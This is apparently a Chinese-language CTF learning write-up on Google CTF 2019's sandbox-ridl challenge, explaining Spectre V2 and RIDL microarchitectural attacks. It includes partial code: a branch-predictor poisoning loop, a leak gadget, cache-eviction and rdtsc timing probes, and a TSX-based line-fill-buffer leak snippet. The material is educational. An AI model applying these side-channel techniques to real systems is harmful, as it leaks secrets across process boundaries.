ridl-and-spectre

1. 关于

本文记录了当时学习google-ctf-2019-final中sandbox-ridl过程,其中sandbox-ridl是一道关于处理器安全的题。

首先我们简单介绍一下这道题的相关情况,在一开始给的hints就直接清晰地暗示了我们它的来源,点明了给的代码本身并没有明显的缺陷,也比较容易理解。原程序会在一开始fork一个子进程,然后两个进程会做一些不一样的事,我们分别来看。

  • 在父进程中会将目标flag放到全局变量char flag[25]中,然后挂起了一个循环操作,会使得全局变量readme所在地址对应的cache line被不断加载到cache中然后就马上清除掉,父进程会等到子进程结束而退出. 不出意外,这个奇怪循环操作肯定会引发一些目前我们还不知道的问题。
  • 而在子进程中,mmap了两块可读可写可执行内存,我们可以利用其中一块内存执行代码,但是由于通过seccomp限制了我们只能使用read, write, exit三个syscalls. 所以这里要做事就是在受限的子进程中想办法拿到父进程中的全局变量flag的值,很显然这里可用的syscalls并不足以支撑我们做跨进程leak,只能从题目给的hints出发。

从题目的名字,搜到了名为RIDL: Rogue In-Flight Data Load的一篇论文,论文中提到的处理器中的预测执行 (speculative execution),让我想起了之前在先知看到的一篇文章深入Spectre V2——跨进程泄露敏感信息。 我只是隐约记得这篇文章,其内容当时也不是看的很懂,决定再来看一遍,所以本文也记录了学习Spectre的过程。

2. Spectre

2.1 前置知识

攻击手法如其名“幽灵”,在了解它之前,需要先恶补一些基础知识。

2.1.1 乱序执行 (Out of Order Execution)

发展历程:顺序执行 --> 流水线执行 --> 乱序执行, 我们将用图示来介绍这一演变过程。 顺序执行 在顺序执行下, 指令将逐一处理,意味着一条指令要等到前一条指令处理完毕后才能被执行。 流水线执行 当加入了流水线的技术,我们使用不同的流水线处理不同的指令,比如上图有4个流水线,用来分别处理fecth, decode, executewrite,最后我们在9个cycle内多处理了一倍多的指令,效果显著,但是流水线上的指令依然还是顺序执行的。 等待现象 在现实情况下,考虑到每条指令的执行时间并不是相同,或长或短,就会造成上图的这样一种等待现象。 乱序执行 我们考虑这6条指令相互并不依赖, 因此我们可以调整指令的执行先后顺序, 上图中我们把inst1放到了最后, 使得等待现象消失, 流水线被充分地利用了起来. 最后附上一张intel核心处理器的流水线图: intel流水线处理图

2.1.2 推测执行 (Speculative Execution)

乱序执行原则上是需要充分考虑指令之间的数据依赖关系,依赖关系出现时依然会导致流水线空转,比如条件跳转,当这个指令没有retire之前,微处理器甚至都不知道去哪里fetch下一个指令。为了解决这个问题,微处理器会尝试推测哪一个分支最有可能被执行,并在条件跳转retire之前在流水线上执行对应的分支,这样的操作我们称之为推测执行。很容易想到,它推测的结果并不一定和最后条件跳转结果相同,这个时候我们就不能把这个invalid results更新到寄存器或者内存上,这可以看做一次branch misprediction,其中执行的时钟周期也是被浪费了。为了尽可能减少branch mispredictions, 又衍生出了很多优化操作. 比如饱和式计数器 (saturating counter),下图为2-bit饱和式计数器,它有4个状态,我们可以用它来记录更新某个条件跳转指令的历史结果,只有当状态为strongly taken或者strongly not taken,我们才选择去对应的分支或者对立的分支. 这种方法对那些大部分时间都选择相同分支的条件跳转指令来说非常合适,但是对应那些经常改变分支选择的条件跳转并不友好。 2-bit饱和式计数器

2.1.3 分支预测 (Branch Prediction Unit)

这个单元主要用于优化上面整个流水线图中的instruction fetch部分,在完成分支跳转整个周期之前,预测性选择分支执行。主要优化以下部分: 1. Return Stack Buffer (RSB)用来帮助预测ret指令的执行。 2. 间接调用和跳转可能被预测为一个源地址到目的地址的简单映射,也可能根据程序之前运行的状态和行为来预测目的地址。 3. 针对条件分支,用于预测哪个目的分支应该被执行。

2.1.4 访存周期

这里需要了解一下 TLB 和 cache的含义,TLB用于mmu在虚拟地址与物理地址的快速转换,物理内存和虚拟内存通过页交换,物理页和虚拟页的大小一样都是4096,所以虚拟地址上低12位用于在页上偏移。

在完成物理地址的地址转换以后,再访问cache,cache的一般架构为n路组相联: 5DDB9DC5-3D66-415A-800F-9175DBC7A40A.png

这里就是4路, 整个cache大小为64 * 64 * 4 = 16kb,其中关于set的计算: 93EFBF4E-E7DE-41BE-ABC5-883E48099127.png tag只是部分物理地址,cacheline长度一般为64bytes,所以这里低6位用于对齐cache-block,紧接的6位用于标记set,看上去cache有点像hashtable,4路相当于有4个buckets,意味着任意一个cacheline都可能位于这四个cacheline其中一个位置上,这就关系到cache 的插入算法上。如果cache 缓存没有命中就需要去访问主存了,这其中的时间周期就很显然易见了,了解cache的结构有利于后面过程的理解。

2.2 攻击流程

2.2.1 基础设施

CPU中会利用Branch Target Buffer (BTB) 用来存储预测状态,在intel Haswell上是一组index为部分源虚拟地址,value为部分目标虚拟地址键值映射序列,其中部分是指低31位虚拟地址。

BTB中的每个映射单元是不存在唯一性的,即在相同cpu核心上所有运行的进程是共享的,如果通过A进程中分支运行结果填充BTB,是不是可以跨进程影响到B进程的分支预测,利用错误的分支预测制造一个短暂的执行窗口去执行任意目标地址的gadget?

答案是yes。Spectre也正是利用了这一点,但是实际上并没有想象的顺利,在intel Haswell中BTB仅用于通用分支预测,cpu更倾向于采用一种叫间接分支预测: btb.png

只有当间接分支预测失败的时候,才会去使用通用分支预测,这时候需要考虑如何干扰间接分支预测,从学习资料的看到,这里有两种方法,一个是对间接分支预测这个模式进行逆向,而是猜测并实验,间接分支预测会采用之前分支执行,那么从三个方面猜和做实验:

  1. 储存的之前分支执行的什么信息?
  2. 储存了多少的分支执行的记录?
  3. 储存的是什么样的分支执行:call , jump , ret ,conditional branch ? 或者说什么分支执行对BHB影响最大?

结论:BHB的长度为58bits,可以记录29个分支。满足条件的分支,无条件直接跳转,无条件间接跳转,ret对BHB影响较大。其中的任何一种分支类型作用效应上都是相似,意思是可以单纯使用大量单一ret来填充BHB,对其产生干扰。

其中猜测和做实验的基本模型值得学习:

1E1CB018-98EF-4799-8C75-F0AA6A2E0A69.png

进程1和进程2的,相同的代码,内存分布基本完全一样,同时运行在同一个核心上,不同是call的目标地址不一样,进程2循环去读一个test变量,进程1测量读test变量需要的周期,由于可能产生的错误预测,导致进程1去提前读test变量,导致cache缓存test变量,紧接着测量的周期小与从主存读取的周期,这就是标准的flush-reload攻击。这里我之前会简单的认为两个进程共享test变量,会造成歧义的理解,这里test是各自进程的独有的,所以这里需要注意一下。这是一个非常好的基础实验模型,可以通过在indirect call之前添加其他需要测量的指令,看反馈,比如简单的判断BHB记录的分支个数,可以累计添加分支执行来进行计算,如果某一时刻misprediction失败,添加分支的总数就是BHB可以保证的最大分支记录,这是一种粗略的计算,作者也说这样计算的结果其实和真实的26是有一定差距的。但是在测试不同分支类型的对mispreditcion的影响还是非常有作用的。

2.2.2 具体的攻击流程

需要理解为什么通过这中攻击去泄漏数据?因为错误的分支预测会制造一个短暂的执行窗口,这个执行的位置是可控的,虽然错误的执行,处理器会读其忽略,并恢复它产生的印象,但是例如在错误执行的过程中设计到一些数据的储存,这些数据可能会被写入cache,而cache里面的数据并不会被忽略,即处理器不会回滚cache的状态,这就相当于我们可以利用cache形成一个隐蔽信道来泄漏数据。

这里只讨论跨进程的泄漏,从整体上可以分为攻击者进程和受害者进程,这里总结一下《深入Spectre V2——跨进程泄露敏感信息》文章中的demo:

  • 攻击者和受害者有简单信息通信,代表攻击者有比较小的权限可以控制受害者。
  • 影响分支预测的点在于受害者plt中跳转sprintf@got的表项
  • 关闭地址随机化带来的影响,攻击者fork一个新的受害者子进程成为训练进程,在其内存空间内把sprintf@got位置的地址换成指定gadget_1的位置,ptrace注入代码循环调用,毒化BTB通用分支预测,并且干扰BHB的分支缓存:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    loop:
    mov rax, sprintf@plt # sprintf@plt == 跳转的源地址
    call rax
    jmp loop

    gadget_1:
    ret
    ret
    ret
    ret
  • 受害者进程内存地址中和gadget_1相同虚拟地址的位置保存着真实的gadget_2:
    1
    2
    3
    4
    5
    __asm__(".text\n.globl gadget\ngadget:\n"       //编到.text段,导出gadget符号
    "xorl %eax, %eax\n" //清空eax
    "movb (%rdx), %ah\n" //rdx可以被攻击者控制
    "movl ProbeTable(%eax), %eax\n" //访存
    "retq\n");
    受害者在通用调用sprintf的时候,可控是第三个参数rdx,ProbeTable是一块预先分配的共享内存,上面这段汇编主要就是用来将指定地址的字符转换成ProbeTable的地址,注意这里为什么要存储到ah中,主要用来对齐cacheline。

-攻击者进程还需要fork一个进程用来驱逐sprintf@got处的缓存,保证在这里产生分支预测。

  • 最后攻击者通过探查ProbeTable上256个字符对应的cacheline访存周期,通过多次发送目标地址的字符泄漏,多次探测设定命中阀值,输出泄漏结果。

2.2.3 思考

这个过程中我注意到两个比较有意思的, 第一个是探测ProbeTable的过程并不是顺序的:

1
2
3
4
5
6
7
for(j = 0; j < 256; j++){
index = (j * 167 + 13) & 255; //
address = &mm[index * 0x100]; //
if(probe(address)){
...
}
}

对一个每个cell并不是从0-255顺序来探测的,其中在另一篇文章中提到是用来防止步幅预测的,这个地方可以留下一个疑问。

第二个, 驱逐sprintf@got处缓存的内容中并不是单纯使用clflush指令,而且通过sprintf@got确定缓存其的cache-set,固定cache-set,然后循环递增低12位bit后面bit位,相当于改变tag,并访问:

1
2
3
4
5
6
7
8
9
unsigned long off = ((unsigned long) ptr) & 0xfff;          //取低12位,确定cache-set log2(num_buckets) bits (e.g. 6) + log2(cacheline_size) bits (e.g. 6)  
volatile char *ptr1 = space + off;
volatile char *ptr2 = ptr1 + 0x2000; //两次刷新
for (int i = 0; i < 4000; i++) {
*ptr2; //刷新 == 替换 类似于hashtable
*ptr1; //替换got所在的cache-set
ptr2 += 0x1000;
ptr1 += 0x1000;
}
这种方法变相插入直接刷新来整个cache-set,那么sprintf@got肯定也受到影响了。

这个demo的局限性还是比较大的,gadget是直接写到受害者text里面,关闭了pie消除了地址随机化的干扰,还需要一块共享内存。但是还是不影响这个攻击手法是非常有意思的,分支预测导致的短暂的执行窗口,除了cache能保存一些数据,是否存在一些其他的缓存单元也能保存一些数据呢?

3. RIDL(Rogue In-Flight Data Load)

3.1 基础设施

ridl属于MDS(Microarchitectural Data Sampling)类型攻击的一种,它并不是一种设计产生的漏洞,而是一种应用上的漏洞。这是它与spectre最大的不同。为什么这里会用“Sampling”这个词?在描述完整个攻击手法之后,就可以解释这个问题。

3.1.1 intel TSX

这个前置知识我认为非常重要,不然会很难理解后面的攻击流程,这是一种基于硬件的事务内存同步机制的优化,避免一些无意义加锁变量,我的理解就是相当于把一块指令集合当作一个原子操作,这些指令读写操作在一个特殊区域中,只有在读写与其他逻辑处理器之间没有冲突的情况下,并且完成了整个集合指令的执行,才能把这个集合产生的状态影响从特殊区域里面拿出来,对全局可见或者说写到主存上。

这个读写特殊区域在哪呢? 在L1d cache里面,在这块指令集合中,需要读的内存单元组成一个read-set, 需要执行写的一些内存单元,这些内存单元组成一个write-set,这些集合元素都以cacheline存储在L1d cache里面。比如read-set里面一个内存单元,肯定L1 某个set中cacheline上,如果这个cacheline改变了,比如另外一个逻辑处理器把这个cacheline驱逐了,这个时候就会导致冲突的产生,这块事务内存操作就会失败。简而言之,就是读写都在cache上,read-set和write-set对应的cacheline不会被改变就行,当然了如果说一些长度比较长的变量,无法被缓存的数据,可能会直接导致事务内存执行的失败。

3.1.2 L1d Cache的组成

  • Data Cache Unit (DCU) 数据缓存单元 32kb-8way
  • Load buffers 64-entry
  • Store buffers 32-entry
  • Line fill buffers (LFB) 10-entry

由上面4个单元组成,后面是Sandy Bridge Microarchitecture的标准参数,DCU 大小是32kb,8路组相联,通过简单的换算有64个set,有两个Load 和 Store 缓存器,L1可以同时维护64个Load操作,32个store操作。LFB用来维护非时间局限性的数据,即确保后面不会再次访问的数据。概览图如下:

651FB45F-A784-4273-A312-C15879ACE80D.png

3.1.3 Line fill buffers (LFB)

可以看到在访问L1d cache之前是会经过LFB的,这个LFB用来干什么呢?从数据load的说起,每一个load操作的开始都会在load buffers里面创建一个entry,表示load处于pending状态,紧接着需要完成虚拟地址到物理地址的转换,前面到的TLB就是用于这个过程的优化,如果TLB没有命中,那就要去遍历页表,完整地址转换,接着用低12位去确定在cache中位置,那么首先就是L1d,如果在L1d被命中,那么这个load操作就完成了。

如果说L1d并没有命中,那这个时候就需要访问更高一层的cache或者主存,这时候就需要经过LFB,会在LFB同样创建一个entry,这个时候如果说是uncacheable 内存块或者是non-temporal ,LFB就会去访问主存,LFB在完成读取操作以后,可以决定是否再把这块数据是否再放到L1d中,完成整个操作之后,LFB中的entry才会被移除。LFB里面会有一段时间来保留存储的数据,这些entry里面的数据称为in-flight data。

这些LFB里面的entry 可能为了尽可能减少延时,可能只会保留少部分物理地址tag,那么紧接着又来一个load操作,可能就会直接使用这些entry,有点像在硬件层面的 use-after-free,这就是RIDL泄漏的根源所在。

3.2 猜测与实验

在《RIDL: Rogue In-Flight Data Load》这篇论文中,在探索leak的源头的时候,做来3个实验,用来进一步确定泄漏的源头在LFB上。

  1. 同核心smt 超线程下,开启受害者进程和攻击者进程,lfb-hit 计数器的值是和攻击过程中leak到正确字符的次数是成正比的。
  2. 同核心非smt超线程下,没有受害者进程,只有攻击者进程,只能leak到0,并且同样lfb-hit计数器的值也是攻击过程leak到字符的次数是成正比
  3. 同核心非smt超线程下,受害者进程和攻击者进程都存在,只能leak出少部分正确的字符,同样lfb-hit计数器同leak字符个数成正比的。

上述三个对照实验为一组实验受害者进程循环把敏感字符写到固定的位置,攻击者用RIDL exploit代码进行leak。

  1. 通过内核模块把内存分别标记为write-back,write-through,write-combine,uncacheable,对应着不同cache方式。
  2. 受害者进程先把敏感字符写入固定的位置之后,循环读取该字符。攻击者用RIDL exploit代码进行leak。
  3. 对照情况下,同样受害者进程先把敏感字符写入固定位置,循环读取并刷新cache。攻击者用RIDL exploit代码进行leak。

结果是WB 和 WT在没有刷新cache的情况下,是无法leak出敏感字符,刷新以后就可以leak了。上一个实验说明leak是和LFB有关的,这个实验又进一步说明和LFB有关,因为在WB和WT情况下,load操作的数据被缓存了,再次读的时候不需要经过LFB。使用无法leak。

  1. 受害者进程循环把ABCD写入到固定位置,攻击者进程用RIDL exploit代码进行leak。
  2. 对照情况下,受害者进程循环把ABCD写入到固定位置并刷新cache,攻击者用RIDL exploit代码进行leak。

结果是在WB的情况下,只能leak到字符D,这是由于WB cache写机制的原因,在这种机制下,写到cache的值,不会直接同步主存,但会被标记,只有在主动刷新或者被其他cacheline插入驱逐的时候,才会同步到主存。可能在这种情况,LFB里面4个store操作使用一个entry。也强有力的说明了leak与cache无关。而是在LFB上。

3.3 攻击流程

这里就用google-2019里面的 sandbox-ridl来概述:

这道题题意很清楚,两个进程,一个进程里面内存里面有读到的flag,另一个进程相当于一个sandbox,只能执行write,read,exit,同时又给了一块很大的内存。题目名字也指向了ridl,肯定就要跨进程读取了。

再看一下含有flag的进程称之为受害者进程是不是有flag频繁存储,这是ridl攻击的前提。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned long readme;
char flag[25] = {0};
void victim() {
read_flag();
while (1) {
for (int i = 0; i < 10000000; i++) {
_mm_prefetch(&readme, _MM_HINT_NTA);
_mm_mfence();
_mm_clflush(&readme);
_mm_mfence();
}
int wstatus;
if(check(waitpid(-1, &wstatus, WNOHANG), "waitpid")) {
puts("child exited, bye!");
exit(0);
}
}
}
乍一看,似乎没有对flag的操作。但这里需要考虑cacheline的存在,给的chal二进制里面,readme的地址为0x40f0,flag的地址为0x40d0,做一个简单的计算0x40f0/64*64=0x40c0,flag是处于和readme一个cacheline里面的,这里其实有一个有意思的东西,就是cache 和地址对齐关系,编译器常常会把变量放到以4或者8对齐的地址上。比长度比较小的变量,就会尽可能放在一个cacheline里面,这里有这样一个小优化。

这里受害者进程通过循环prefetch和cflush是满足让flag所在的cacheline进过LFB,接下来就是构造ridl泄漏的具体过程。

  1. 确定给内存大小,256 * (4096/8)是满足字符到地址转换的256个cmdline条件的。
  2. 使用tsx来泄漏lfb,前面有一个重要的东西没有讲,就是rdtsc指令,可以用来计算其他指令的运行时间,同时由于out-of-order的存在,需要显式使用mfence来确定顺序,下面这段汇编就可以用来粗略的测量访存时间:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    int probe(char *adrs) {
    volatile unsigned long time;
    asm __volatile__ (
    " mfence\n"
    " lfence\n"
    " rdtsc\n"
    " lfence\n"
    " movl %%eax, %%esi \n"
    " movl (%1), %%eax\n"
    " lfence\n"
    " rdtsc\n"
    " subl %%esi, %%eax \n"
    " clflush 0(%1)\n"
    : "=a" (time)
    : "c" (adrs)
    : "%esi", "%edx");
    return (time < THRESHOLD);
    }
    因为时间周期比较短,不需要使用rdtsc返回指edx上时钟周期的高位(edx:eax)。threshold为cache访存阀值,一般为100.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (_xbegin() == _XBEGIN_STARTED) {
asm volatile(
"movzxb (%0),%%rbx\n\t"
"shl $0x9,%%rbx\n\t"
"add %1,%%rbx\n\t"
"mov (%%rbx),%%rbx\n\t"
:
: "r" (off), "r"(probe)
: "rbx");
_xend();
} else{
...
if (is_cached(probe + CACHELINE * i)) {
hist[i]++;
}
...
}

xbegin指令标志tsx的开始,probe为前面的probetable字符转换表,为什么这里使用tsx技术,tsx最大优势就是所有操作都在cacheline里面完成,且尽可能少的对LFB产生影响,同时tsx可以抑制page fault的产生,执行后备路径。注意指令相当于NULL指针引用,是从虚拟地址0-63的读操作。在后备路径里面测量访存周期,多次命中取最大值,输出字符。

3.4 思考

完成对整个流程的概述,现在可以解释为什么用“Sampling”,因为尽管可以泄漏目标数据,但是在realworld里面,先不讨论是否符合攻击的前提,LFB上数据应该是很斑驳的,就需要筛选,所以这里用“Sampling”这个词。

整个流程看完,其实也不知道LFB为什么会leak数据,不知道LFB内部的entry构造和相应的算法,但是这两个攻击,都是实实在在的通过做实验来确定漏洞点和影响条件。这一点非常值得学习,其实我到现在对TSX的实现还是有些模糊,还有一篇TAA(TSX Asynchronous Abort)攻击手法,值得一看,进一步去了解TSX的实现。

4. 小结

以上的内容其实很多我自己的猜测和思考,我不是专业弄这个方面的,所以可能存在很多错误,google的题质量还是可以,做一道题要看几篇论文,从一无所知到了解里面的原理,这样我感觉才有意思,很有价值。最重要的是帮我消除了这几天的无聊和身在湖北的不安 )

相关资料

  • https://mdsattacks.com/files/ridl.pdf RIDL: Rogue In-Flight Data Load
  • https://zombieloadattack.com/zombieload.pdf ZombieLoad: Cross-Privilege-Boundary Data Sampling
  • https://software.intel.com/sites/default/files/managed/9e/bc/64-ia-32-architectures-optimization-manual.pdf 64-ia-32-architectures-optimization-manual
  • https://arstechnica.com/gadgets/2019/05/new-speculative-execution-bug-leaks-data-from-intel-chips-internal-buffers/
  • https://xz.aliyun.com/t/6332 深入Spectre V2——跨进程泄露敏感信息
  • https://mdsattacks.com/